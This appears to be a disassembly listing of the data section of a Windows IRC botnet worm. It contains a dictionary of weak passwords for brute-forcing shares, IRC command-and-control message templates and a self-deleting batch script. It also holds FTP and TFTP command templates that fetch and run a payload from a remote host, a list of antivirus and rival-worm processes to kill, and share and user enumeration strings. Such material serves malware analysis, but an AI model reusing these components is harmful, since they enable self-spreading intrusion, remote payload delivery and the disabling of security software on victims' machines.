aAlbina db 'albina',0 ; DATA XREF: .data:004430A4o
align 4
aIzmir39m db 'Izmir39m',0 ; DATA XREF: .data:004430A0o
align 4
aZack db 'ZACK',0 ; DATA XREF: .data:0044309Co
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: .data:00443098o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: .data:00443094o
align 4
aAhmet db 'ahmet',0 ; DATA XREF: .data:00443090o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: .data:0044308Co
align 10h
aBlackpearl db 'blackpearl',0 ; DATA XREF: .data:00443088o
align 4
aRetg db 'RETG',0 ; DATA XREF: .data:00443084o
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: .data:00443080o
align 10h
aPiramit db 'PIRAMIT',0 ; DATA XREF: .data:0044307Co
aAslii db 'aslii',0 ; DATA XREF: .data:00443078o
align 10h
aErnesto db 'ERNESTO',0 ; DATA XREF: .data:00443074o
aHaticem db 'haticem',0 ; DATA XREF: .data:00443070o
aArzu db 'ARZU',0 ; DATA XREF: .data:0044306Co
align 4
aSudenur db 'SUDENUR',0 ; DATA XREF: .data:00443068o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: .data:00443064o
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: .data:00443060o
align 4
aTekir db 'tekir',0 ; DATA XREF: .data:0044305Co
align 10h
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .data:00443058o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: .data:00443054o
align 4
aMelekk db 'melekk',0 ; DATA XREF: .data:00443050o
align 4
aAkin db 'AKIN',0 ; DATA XREF: .data:0044304Co
align 4
aMary_0 db 'MARY',0 ; DATA XREF: .data:00443048o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: .data:00443044o
aTolga34 db 'Tolga34',0 ; DATA XREF: .data:00443040o
aMisssunday db 'misssunday',0 ; DATA XREF: .data:0044303Co
align 4
aIrmal db 'irmal',0 ; DATA XREF: .data:00443038o
align 10h
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .data:00443034o
align 10h
aBerk19 db 'berk19',0 ; DATA XREF: .data:00443030o
align 4
aHexaaa db 'hexaaa',0 ; DATA XREF: .data:0044302Co
align 10h
aErkan27 db 'erkan27',0 ; DATA XREF: .data:00443028o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: .data:00443024o
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: .data:00443020o
align 10h
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .data:0044301Co
align 4
aKencing db 'Kencing',0 ; DATA XREF: .data:00443018o
aReshma db 'reshma',0 ; DATA XREF: .data:00443014o
align 4
aCamel db 'CAMEL',0 ; DATA XREF: .data:00443010o
align 4
aGirl_0 db 'GirL',0 ; DATA XREF: .data:0044300Co
align 4
aImra db 'imra',0 ; DATA XREF: .data:00443008o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: .data:00443004o
align 10h
aPuregold db 'puregold',0 ; DATA XREF: .data:00443000o
align 4
aKermit db 'kermit',0 ; DATA XREF: .data:00442FFCo
align 4
aManee db 'manee',0 ; DATA XREF: .data:00442FF8o
align 4
aTroller db 'troller',0 ; DATA XREF: .data:00442FF4o
aLuisa db 'Luisa',0 ; DATA XREF: .data:00442FF0o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: .data:00442FECo
align 4
aRimpy db 'rimpy',0 ; DATA XREF: .data:00442FE8o
align 10h
aJanno db 'janno',0 ; DATA XREF: .data:00442FE4o
align 4
aBunty db 'bunty',0 ; DATA XREF: .data:00442FE0o
align 10h
aHeval db 'heval',0 ; DATA XREF: .data:00442FDCo
align 4
aCme db 'cme',0 ; DATA XREF: .data:00442FD8o
aMarcy db 'marcy',0 ; DATA XREF: .data:00442FD4o
align 4
aTalika db 'talika',0 ; DATA XREF: .data:00442FD0o
align 4
aShez db 'Shez',0 ; DATA XREF: .data:00442FCCo
align 4
aKen db 'ken',0 ; DATA XREF: .data:00442FC8o
aFlexster db 'flexster',0 ; DATA XREF: .data:00442FC4o
align 4
aKoko db 'koko',0 ; DATA XREF: .data:00442FC0o
align 4
aMale db 'male',0 ; DATA XREF: .data:00442FBCo
align 4
aSwin db 'swin',0 ; DATA XREF: .data:00442FB8o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: .data:00442FB4o
aKrizha db 'KRIZHA',0 ; DATA XREF: .data:00442FB0o
align 4
aEmilya db 'emilya',0 ; DATA XREF: .data:00442FACo
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .data:00442FA8o
align 10h
aMaxxguy db 'maxxguy',0 ; DATA XREF: .data:00442FA4o
aFarooq db 'farooq',0 ; DATA XREF: .data:00442FA0o
align 10h
aSmartmir db 'SMARTMIR',0 ; DATA XREF: .data:00442F9Co
align 4
aM_1: ; DATA XREF: .data:00442F98o
; .data:004432E4o
unicode 0, <M>,0
aN_0: ; DATA XREF: .data:00442F94o
unicode 0, <N>,0
aB: ; DATA XREF: .data:00442F90o
unicode 0, <B>,0
aV_0: ; DATA XREF: .data:00442F8Co
unicode 0, <V>,0
aC_3: ; DATA XREF: .data:00442F88o
unicode 0, <C>,0
asc_437A40: ; DATA XREF: .data:00442F84o
; .data:00443318o
unicode 0, <X>,0
aZ: ; DATA XREF: .data:00442F80o
unicode 0, <Z>,0
asc_437A48: ; DATA XREF: .data:00442F7Co
unicode 0, <L>,0
aK_0: ; DATA XREF: .data:00442F78o
unicode 0, <K>,0
aJ_0: ; DATA XREF: .data:00442F74o
unicode 0, <J>,0
asc_437A54: ; DATA XREF: .data:00442F70o
unicode 0, <H>,0
aG: ; DATA XREF: .data:00442F6Co
unicode 0, <G>,0
aF_0: ; DATA XREF: .data:00442F68o
; .data:004432E0o
unicode 0, <F>,0
aD_2: ; DATA XREF: .data:00442F64o
unicode 0, <D>,0
aS_10: ; DATA XREF: .data:00442F60o
unicode 0, <S>,0
aP_0: ; DATA XREF: .data:00442F58o
unicode 0, <P>,0
aO_0: ; DATA XREF: .data:00442F54o
unicode 0, <O>,0
aU_0: ; DATA XREF: .data:00442F4Co
unicode 0, <U>,0
aY: ; DATA XREF: .data:00442F48o
unicode 0, <Y>,0
aT_0: ; DATA XREF: .data:00442F44o
unicode 0, <T>,0
aR_0: ; DATA XREF: .data:00442F40o
unicode 0, <R>,0
aE_0: ; DATA XREF: .data:00442F3Co
unicode 0, <E>,0
aW: ; DATA XREF: .data:00442F38o
unicode 0, <W>,0
aQ_0: ; DATA XREF: .data:00442F34o
unicode 0, <Q>,0
aB_0: ; DATA XREF: .data:00442F28o
; .data:0044321Co ...
unicode 0, <b>,0
asc_437A90: ; DATA XREF: .data:00442F1Co
; .data:00443274o
unicode 0, <x>,0
aZ_0: ; DATA XREF: .data:00442F18o
; .data:0044327Co ...
unicode 0, <z>,0
asc_437A98: ; DATA XREF: .data:00442F08o
; .data:00443234o
unicode 0, <h>,0
aG_0: ; DATA XREF: .data:00442F04o
; .data:00443230o ...
unicode 0, <g>,0
aF_1: ; DATA XREF: .data:00442F00o
; .data:0044322Co
unicode 0, <f>,0
aY_0: ; DATA XREF: .data:00442EE4o
; .data:00443278o
unicode 0, <y>,0
aW_0: ; DATA XREF: .data:00442ED4o
; .data:00443270o
unicode 0, <w>,0
align 10h
dbl_437AB0 dq -1.52587890625e-4 ; DATA XREF: sub_41A293+3EFr
dbl_437AB8 dq 3.0517578125e-4 ; DATA XREF: sub_41A293+3CFr
dbl_437AC0 dq -3.0517578125e-4 ; DATA XREF: sub_41A293+34Cr
; sub_41A293+3B1r
dbl_437AC8 dq 1.52587890625e-4 ; DATA XREF: sub_41A293+27Er
dbl_437AD0 dq -1.739501953125e-3 ; DATA XREF: sub_41A293+258r
; sub_41A293+2E8r ...
dbl_437AD8 dq 3.11279296875e-3 ; DATA XREF: sub_41A293+E0r
; char a__1[]
a__1 db '-|`_\{[]}',0 ; DATA XREF: sub_41A293+BAo
; sub_41A293+17Cr ...
align 10h
dbl_437AF0 dq 3.0517578125e-5 ; DATA XREF: sub_41A293+ACr
; sub_41A293+139r ...
dbl_437AF8 dq 6.103515625e-5 ; DATA XREF: sub_41A293+90r
; sub_41A293+317r
dbl_437B00 dq 2.288818359375e-3 ; DATA XREF: sub_41A293+21r
; char aNickS_1[]
aNickS_1 db 'NICK %s',0Ah,0 ; DATA XREF: sub_41A6AE+C1o
align 4
; char a432[]
a432 db '432',0 ; DATA XREF: sub_41A6AE+86o
; char aPongS_0[]
aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_41A6AE+65o
align 4
; char aNickSUserSHotm[]
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_41A7A3+98o
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
; char aSErrorSD_[]
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41ACD0+72o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_41AE17+1Ao
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_41AEBB+2o
; char aComspecCSS[]
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41AEDD+140o
align 8
; char a[]
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41AEDD+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
; char aSdel_bat[]
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41AEDD+48o
align 4
; char asc_437BF8[]
asc_437BF8 db '-' ; DATA XREF: sub_41B065+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_437C28 db 2Dh ; - ; DATA XREF: sub_41B065+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 10h
; char asc_437C50[]
asc_437C50 db '-' ; DATA XREF: sub_41B065+5Co
db 3, 34h, 2
dd 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h, 65726165h
dd 64h, 0
; char aEchoOpenSDOE_1[]
aEchoOpenSDOE_1 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_41B128+C2o
db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
; char aTftpISGetSS[]
aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: sub_41B128+94o
align 8
dbl_437CE8 dq -3.0517578125e-5 ; DATA XREF: sub_41B325+2Br
aContinued db 'Continued',0
align 4
aContinue_0 db 'Continue',0
align 4
aPaused_0 db 'Paused',0
align 10h
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .data:0044342Co
aStop_0 db 'Stop',0 ; DATA XREF: .data:00443428o
align 4
aStarted db 'Started',0 ; DATA XREF: .data:00443420o
aStart_0 db 'Start',0 ; DATA XREF: .data:0044341Co
align 4
aListed db 'Listed',0 ; DATA XREF: .data:00443414o
align 10h
aList_1 db 'List',0 ; DATA XREF: .data:00443410o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .data:00443408o
aDelete_0 db 'Delete',0 ; DATA XREF: .data:00443404o
align 4
aAdded db 'Added',0 ; DATA XREF: .data:off_4433FCo
align 10h
aAdd db 'Add',0 ; DATA XREF: .data:off_4433F8o
; char aAnUnknownErr_0[]
aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_41B507+128o
align 4
; char aTheSystemIsShu[]
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_41B507:loc_41B61Bo
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_41B507:loc_41B614o
align 10h
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_41B507:loc_41B60Do
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_41B507:loc_41B606o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_41B507:loc_41B5FFo
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_41B507:loc_41B5F8o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_41B507:loc_41B5F1o
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_41B507:loc_41B5EAo
align 8
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_41B507:loc_41B5E3o
db 'marked for deletion.',0
align 10h
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_41B507:loc_41B5DCo
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_41B507:loc_41B5B1o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_41B507:loc_41B5AAo
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_41B507:loc_41B5A3o
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_41B507:loc_41B59Co
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_41B507+8Bo
align 10h
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_41B507:loc_41B571o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_41B507:loc_41B567o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_41B507:loc_41B55Do
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_41B507:loc_41B553o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_41B507:loc_41B549o
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_41B507+38o
align 10h
; char aSSS_3[]
aSSS_3 db '%s: %s (%s)',0 ; DATA XREF: sub_41B681+EEo
; char aStopped[]
aStopped db ' Stopped',0 ; DATA XREF: sub_41B681:loc_41B750o
aStarting db ' Starting',0 ; DATA XREF: sub_41B681:loc_41B749o
aStoping db ' Stoping',0 ; DATA XREF: sub_41B681:loc_41B742o
aRunning db ' Running',0 ; DATA XREF: sub_41B681:loc_41B73Bo
aContinuing db ' Continuing',0 ; DATA XREF: sub_41B681:loc_41B734o
aPausing db ' Pausing',0 ; DATA XREF: sub_41B681:loc_41B72Do
aPaused db ' Paused',0 ; DATA XREF: sub_41B681:loc_41B726o
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41B681+9Eo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_41B681+25o
align 4
; char asc_4382AC[]
asc_4382AC db '-' ; DATA XREF: sub_41B98C+394o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 10h
; char aUnitsPerWeekD[]
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_41B98C+36Ao
align 4
; char aMax_StorageD[]
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_41B98C+33Fo
align 4
; char aUserSLanguageD[]
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41B98C+317o
; char aCountryCodeD[]
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_41B98C+2ECo
align 10h
; char aWorkstationsS[]
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_41B98C+2C4o
align 4
; char aLogonServerS[]
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_41B98C+299o
align 4
; char aLastLogoffD[]
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_41B98C+271o
; char aLastLogonD[]
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_41B98C+246o
align 4
; char aNumberOfLogins[]
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_41B98C+21Eo
align 10h
; char aBadPasswordCou[]
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_41B98C+1F3o
align 4
; char aPasswordAgeD[]
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_41B98C+1CBo
align 4
; char aParametersS[]
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_41B98C+1A0o
align 4
; char aHomeDirectoryS[]
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_41B98C+178o
align 10h
; char aAuthFlagsD[]
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_41B98C+14Do
align 10h
; char aPrivilegeLevel[]
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_41B98C+125o
aGuest db 'Guest',0 ; DATA XREF: sub_41B98C:loc_41BAA5o
align 4
aUser_3 db 'User',0 ; DATA XREF: sub_41B98C:loc_41BA9Eo
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_41B98C:loc_41BA97o
align 4
; char aCommentS[]
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_41B98C+D4o
; char aUserCommentS[]
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_41B98C+ACo
align 4
; char aFullNameS[]
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_41B98C+81o
align 4
; char aAccountS[]
aAccountS db 'Account: %S',0 ; DATA XREF: sub_41B98C+50o
; char aNetworkConnect[]
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41BD5A:loc_41BE73o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41BD5A:loc_41BE6Co
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41BD5A:loc_41BE65o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41BD5A:loc_41BE5Eo
align 4
aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_41BD5A:loc_41BE57o
align 8
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_41BD5A:loc_41BE3Ao
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41BD5A:loc_41BE33o
align 10h
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41BD5A:loc_41BE2Co
align 8
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_41BD5A+CBo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_41BD5A:loc_41BE01o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41BD5A:loc_41BDFAo
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_41BD5A:loc_41BDF3o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41BD5A:loc_41BDE9o
align 10h
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41BD5A+85o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41BD5A:loc_41BDC3o
align 10h
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41BD5A:loc_41BDB9o
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41BD5A:loc_41BDAFo
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_41BD5A:loc_41BDA5o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41BD5A:loc_41BD9Bo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41BD5A+37o
align 4
; char asc_438718[]
asc_438718 db '-' ; DATA XREF: sub_41BE8A+A4o
db 3, 34h, 2
dd 274656Eh, 25202D03h, 34032073h, 76726553h, 3A037265h
dd 20532520h, 654D3403h, 67617373h, 203A0365h, 5325h
; char asc_438744[]
asc_438744 db '-' ; DATA XREF: sub_41BE8A+7Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
; char asc_43876C[]
asc_43876C db '-' ; DATA XREF: sub_41BF46+65o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_438790 db 2Dh ; - ; DATA XREF: sub_41BF46+4Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
; char asc_4387BC[]
asc_4387BC db '-' ; DATA XREF: sub_41BF46+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
; char asc_4387D8[]
asc_4387D8 db '-' ; DATA XREF: sub_41BFBE+AAo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
; char asc_4387FC[]
asc_4387FC db '-' ; DATA XREF: sub_41BFBE+88o
db 3, 34h, 2
dd 274656Eh, 25202D03h, 68732073h, 3A657261h, 73252720h
dd 27h
; char asc_438818[]
asc_438818 db '-' ; DATA XREF: sub_41BFBE+56o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
; char a14s24s6u4s[]
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41C07C+CEo
align 4
aNo db 'No',0 ; DATA XREF: sub_41C07C+BAo
align 10h
aYes db 'Yes',0 ; DATA XREF: sub_41C07C+B3o
; char asc_438864[]
asc_438864 db '-' ; DATA XREF: sub_41C07C+74o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_41C07C+1Do
align 4
; char asc_4388C4[]
asc_4388C4 db '-' ; DATA XREF: sub_41C19B+B5o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
; char asc_4388EC[]
asc_4388EC db '-' ; DATA XREF: sub_41C19B+93o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
; char asc_43891C[]
asc_43891C db '-' ; DATA XREF: sub_41C19B+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
; char aTotalUsersFoun[]
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41C265+144o
align 4
; char asc_438954[]
asc_438954 db '-' ; DATA XREF: sub_41C265:loc_41C350o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 10h
; char aS_5[]
aS_5 db ' %S',0 ; DATA XREF: sub_41C265+B8o
align 4
; char asc_438988[]
asc_438988 db '-' ; DATA XREF: sub_41C265+78o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41C265+1Fo
aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: .data:004434B4o
align 10h
aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:004434B0o
align 4
aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:004434ACo
align 4
aRate_exe db 'rate.exe',0 ; DATA XREF: .data:004434A8o
align 4
aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:004434A4o
align 4
aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:004434A0o
align 10h
aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:0044349Co
align 4
aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:00443498o
align 4
aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:00443494o
aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:00443490o
aTeekids_exe db 'teekids.exe',0 ; DATA XREF: .data:0044348Co
aMsblast_exe db 'MSBLAST.exe',0 ; DATA XREF: .data:00443488o
aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:00443484o
aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:00443480o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:0044347Co
align 4
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .data:00443478o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .data:00443474o
align 10h
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .data:00443470o
align 10h
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .data:0044346Co
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: .data:00443468o
align 4
aMsblast_exe_0 db 'msblast.exe',0 ; DATA XREF: .data:00443464o
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .data:00443460o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .data:0044345Co
align 10h
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .data:off_443458o
; char aSD_0[]
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41C444+183o
align 4
; char asc_438B28[]
asc_438B28 db '-' ; DATA XREF: sub_41C66C:loc_41C6ECo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_438B4C db 2Dh ; - ; DATA XREF: sub_41C66C+79o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 10h
; char asc_438B70[]
asc_438B70 db '-' ; DATA XREF: sub_41C66C+2Ao
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
; char aPrivmsgSS_1[]
aPrivmsgSS_1 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41C7F5+33o
unk_438BA0 db 2Dh ; - ; DATA XREF: sub_41C87C:loc_41C9ACo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_438BD0 db 2Dh ; - ; DATA XREF: sub_41C87C+129o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_438BF8 db 2Dh ; - ; DATA XREF: sub_41C87C+F7o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 4
; char asc_438C28[]
asc_438C28 db '-' ; DATA XREF: sub_41C9D4+198o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
; char dword_438C5C[]
dword_438C5C dd 234032Dh, 2646D63h, 52202D03h, 746F6D65h, 6F432065h
; DATA XREF: sub_41C9D4+150o
dd 6E616D6Dh, 72502064h, 74706D6Fh, 0
dword_438C80 dd 5C3A44h, 2444h, 5C3A43h, 2443h, 494D4441h, 244Eh
; DATA XREF: .data:004434D4o
; .data:004434D0o ...
aIpc db 'IPC$',0 ; DATA XREF: .data:off_4434B8o
align 10h
; char asc_438CA0[]
asc_438CA0 db '-' ; DATA XREF: sub_41CB8D+2E3o
; sub_41CEAF+2D5o
db 3, 34h, 2
dd 75636573h, 3026572h
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
; char asc_438CD0[]
asc_438CD0 db '-' ; DATA XREF: sub_41CB8D+2CDo
db 3, 34h, 2
dd 75636573h, 3026572h
aNetworkSharesD db '- Network shares deleted.',0
align 4
; char asc_438CF8[]
asc_438CF8 db '-' ; DATA XREF: sub_41CB8D:loc_41CDF3o
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_438D24 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41CB8D+25Fo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 4
; char asc_438D48[]
asc_438D48 db '-' ; DATA XREF: sub_41CB8D:loc_41CD63o
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_438D74 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41CB8D+1CFo
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 4
; char asc_438D98[]
asc_438D98 db '-' ; DATA XREF: sub_41CB8D:loc_41CCBBo
; sub_41CEAF:loc_41CFD9o
db 3, 34h, 2
dd 75636573h, 3026572h
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_438DC8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41CB8D:loc_41CCB4o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
; char asc_438E04[]
asc_438E04 db '-' ; DATA XREF: sub_41CB8D:loc_41CC9Co
db 3, 34h, 2
dd 75636573h, 3026572h
